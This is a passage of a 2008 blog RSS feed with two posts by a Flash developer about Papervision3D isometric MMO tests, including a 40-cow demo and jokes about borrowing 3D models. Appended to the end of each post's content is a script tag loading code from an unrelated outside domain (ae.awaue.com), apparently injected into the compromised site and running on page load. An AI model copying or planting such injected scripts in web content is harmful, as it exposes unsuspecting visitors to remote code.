		<category><![CDATA[PV3D]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/?p=94</guid>
		<description><![CDATA[I&#8217;m digging into MMOs, now testing papervision2 cow model (unfortunately i&#8217;m not a modeler, but i&#8217;m a pretty good thief   ) and put it on my testing stage&#8230;here&#8217;s the result&#8230;40 COWS! quite good uh?  

Let me know how it runs on your machines  
Stay tuned  
]]></description>
			<content:encoded><![CDATA[<p>I&#8217;m digging into MMOs, now testing <a href="http://www.papervision2.com">papervision2</a> cow model (unfortunately i&#8217;m not a modeler, but i&#8217;m a pretty good thief <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  ) and put it on my testing stage&#8230;here&#8217;s the result&#8230;40 COWS! quite good uh? <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><a href="http://www.flashfuck.it/test/pv3d_isometry_02" target="_blank"><img class="alignnone" src="http://farm4.static.flickr.com/3230/2918740228_b3c8f49e00.jpg?v=0" alt="cows! :D" /></a></p>
<p>Let me know how it runs on your machines <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>Stay tuned <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> <script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.flashfuck.it/2008/10/06/cows-in-chaos/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MMO Test with Papervision3D + Flash Player 10</title>
		<link>http://www.flashfuck.it/2008/10/03/mmo-test-with-papervision3d-flash-player-10/</link>
		<comments>http://www.flashfuck.it/2008/10/03/mmo-test-with-papervision3d-flash-player-10/#comments</comments>
		<pubDate>Fri, 03 Oct 2008 20:53:55 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[3D]]></category>
		<category><![CDATA[Flash Player 10]]></category>
		<category><![CDATA[Isometry]]></category>
		<category><![CDATA[MMOs]]></category>
		<category><![CDATA[Papervision 3D]]></category>
		<category><![CDATA[PV3D]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/?p=91</guid>
		<description><![CDATA[Here is my very first test on MMOs with Papervision3D on Flash Player 10 (needed to watch properly).

here&#8217;s the link http://www.flashfuck.it/test/pv3d_isometry_01/
this is just the beginning&#8230;it has to be tuned and refined but, yes, it can be done  
PS: I stolen the model somewhere on the web&#8230;please if it is yours don&#8217;t offend yourself, i [...]]]></description>
			<content:encoded><![CDATA[<p>Here is my very first test on MMOs with Papervision3D on Flash Player 10 (needed to watch properly).</p>
<p style="text-align: center;"><a title="pv3d_isometric_01" href="http://www.flashfuck.it/test/pv3d_isometry_01/"><img class="aligncenter" src="http://farm4.static.flickr.com/3190/2910715764_4d45e7ef03_m.jpg" alt="pv3d_isometric_01" /></a></p>
<p>here&#8217;s the link http://www.flashfuck.it/test/pv3d_isometry_01/</p>
<p>this is just the beginning&#8230;it has to be tuned and refined but, yes, it can be done <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>PS: I stolen the model somewhere on the web&#8230;please if it is yours don&#8217;t offend yourself, i stole it because it&#8217;s good <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  (anyway let me know so i can put your name somewhere <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  )<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.flashfuck.it/2008/10/03/mmo-test-with-papervision3d-flash-player-10/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
